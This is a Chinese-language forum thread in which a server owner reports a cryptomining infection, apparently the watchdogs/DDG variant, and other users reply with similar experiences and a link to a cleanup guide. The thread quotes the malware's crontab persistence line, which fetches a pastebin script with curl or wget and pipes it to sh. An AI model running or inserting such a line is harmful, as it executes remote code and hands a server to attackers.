阿里云服务器被挂马，被写入 crontab 删不掉。ps 命令找不到 nginx PHP 进程信息

[hobbyliu]

*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

crontab 被写入这段代码。删除后一会又自动加上。

ps 命令看到的进程很奇怪，php nginx 进程找你不到了，但是服务正常。

怀疑 ps 被修改， 已经从其他服务器替换了回来，但是依旧不行。

[hobbyliu]

@sdksang ddg 的变异，用处理的 ddg 的方法根本处理不了。

[hyshuang2006]

哎...我的 VPS 惨了，连 root 都进不去。

[hobbyliu]

@hyshuang2006 你设置的不允许密码登录？

[hyshuang2006]

@hobbyliu 对啊，密钥登陆。原来密钥登陆也存在隐患。唉...

不过也是好事情，这回找时间充电，认真对待：补写脚本及安全方面。

[metas]

应该是被被植入了 watchdogs 挖矿病毒，楼主可以看看腾讯安全云鼎实验室的清理方式：

https://mp.weixin.qq.com/s/3V0HVEREZWU8SkRWLspaxg

[hobbyliu]

@metas 感谢 我研究下